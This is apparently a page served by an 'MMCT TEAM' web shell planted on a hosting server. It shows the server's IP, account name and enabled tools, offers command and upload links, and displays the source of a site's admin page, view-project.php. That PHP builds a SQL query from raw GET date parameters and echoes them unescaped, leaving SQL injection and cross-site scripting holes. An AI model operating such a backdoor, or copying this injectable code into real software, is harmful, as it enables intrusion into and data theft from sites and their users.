MMCT TEAM

Server IP : 162.214.80.37 / Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON
Directory (0755) : /home2/imyrqtmy/public_html/destinytrafficsolutions/admin/
[ Home ]	[ C0mmand ]	[ Upload File ]
Current File : /home2/imyrqtmy/public_html/destinytrafficsolutions/admin/view-project.php
<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("inc/config.php");;
 
?>

<!DOCTYPE html>
<html lang="en">

<?php require "inc/head.php"; ?>

    <body>
        <!-- header-->
    <?php require "inc/header.php"; ?>
        <!-- End Main-content Top bar-->

        <!-- main-content-->
        <div class="wrapper">
        <?php require "inc/sidebar.php"; ?>
        <div id="content">
    <div class="row">   
    <div class="col-12 col-sm-12">
    <div class="row mb-4">
    <div class="col-12 col-md-12">
    <div class="card redial-border-light redial-shadow mb-4">
        <div class="card-body">
            <h6 class="header-title pl-3 redial-relative">Data Table</h6>

            <?php
       $start_date = isset($_GET['start_date']) ? $_GET['start_date'] : '';
       $end_date = isset($_GET['end_date']) ? $_GET['end_date'] : '';
       
       $query = "SELECT * FROM projects WHERE 1"; // Default query
       
       // Apply date range filter only if both dates are selected
       if (!empty($start_date) && !empty($end_date)) {
           $query .= " AND project_start BETWEEN '$start_date' AND '$end_date'";
       }
       
       $query_run = mysqli_query($conn, $query);
       ?>
       
       <!-- Filter Form -->
       <form method="GET" action="">
           <div class="row mb-3">
               <div class="col-md-3">
                   <label for="start_date">Start Date:</label>
                   <input type="date" name="start_date" id="start_date" class="form-control" 
                          value="<?php echo isset($_GET['start_date']) ? $_GET['start_date'] : ''; ?>">
               </div>
       
               <div class="col-md-3">
                   <label for="end_date">End Date:</label>
                   <input type="date" name="end_date" id="end_date" class="form-control" 
                          value="<?php echo isset($_GET['end_date']) ? $_GET['end_date'] : ''; ?>">
               </div>
       
               <div class="col-md-3">
                   <button type="submit" class="btn btn-primary mt-4">Search</button>
               </div>
           </div>
       </form>



    <!-- Project Table -->
    <!-- <table class="table table-bordered"> -->
    <table id="example" class="table table-bordered" cellspacing="0" width="100%">

    <thead>
        <tr>
            <th>#</th>
            <th>Project Name</th>
            <th>Employee Name</th>
            <th>Category</th>
            <th>Action</th>
        </tr>
    </thead>
    <tbody>
        <?php
        // $query = "SELECT * FROM projects";
        $query = "SELECT p.*, e.emp_name, c.v_name, 
            (SELECT MAX(cr.click_count) 
            FROM click_records cr 
            WHERE cr.emp_id = e.id) AS max_click_count
            FROM projects p
            LEFT JOIN employees e ON p.emp_id = e.id
            LEFT JOIN categories c ON p.category_ids = c.id
            WHERE 1";
        $query_run = mysqli_query($conn, $query);

        if (mysqli_num_rows($query_run) > 0) {
            while ($row = mysqli_fetch_assoc($query_run)) {
                ?>
                <tr>
                    <td><?php echo $row['id']; ?></td>
                    <td><?php echo $row['project_name']; ?></td>


                    <td><?php echo $row['emp_name']; ?></td>
                    <td>
                        <?php
                        // Decode the category_ids JSON into an array
                        $category_ids = json_decode($row['category_ids'], true);

                        if (!empty($category_ids)) {
                            // Ensure $category_ids is an array
                            if (!is_array($category_ids)) {
                                $category_ids = [$category_ids]; // Convert single value to array
                            }

                            // Convert array to comma-separated string for SQL IN clause
                            $category_ids_str = implode(",", array_map('intval', $category_ids));

                            // Fetch category names from the categories table
                            $category_query = "SELECT v_name FROM categories WHERE id IN ($category_ids_str)";
                            $category_result = mysqli_query($conn, $category_query);

                            $category_names = [];
                            while ($category_row = mysqli_fetch_assoc($category_result)) {
                                $category_names[] = $category_row['v_name'];
                            }

                            // Display category names as comma-separated values
                            echo implode(", ", $category_names);
                        } else {
                            echo "No Category";
                        }
                        ?>
                    </td>

                    <td>
                        <div class='btn-group mb-2'>
                            <a href="update-project.php?id=<?php echo $row['id']; ?>" class="btn btn-success" data-toggle="tooltip" title="Edit Project">
                                <i class='fa fa-pencil'></i>
                            </a>
                            &nbsp;&nbsp;
                            <form action="add_project.php" method="post">
                                <input type="hidden" name="delete_id" value="<?php echo $row['id']; ?>">
                                <button type="submit" name="delete_project" class="btn btn-danger">
                                    <i class='fa fa-trash'></i>
                                </button>
                            </form>
                        </div>
                    </td>
                </tr>
        <?php 
            } 
        } else {
            echo "<tr><td colspan='4' class='text-center'>No projects found.</td></tr>";
        }
        ?>
    </tbody>
</table>


        </div>
    </div>
</div>

    </div>
</div>
    </div>    
</div>



        </div>
        <!-- End main-content-->

        <!-- Top To Bottom-->
 <a href="#" class="scrollup text-center redial-bg-primary redial-rounded-circle-50"> 
            <h4 class="text-white mb-0"><i class="icofont icofont-long-arrow-up"></i></h4>
        </a>
        <!-- End Top To Bottom-->

     
        
        <!-- jQuery -->
        <script src="dist/js/plugins.min.js"></script>        
        <script src="dist/js/common.js"></script>
    </body>

</html>
MMCT - 2023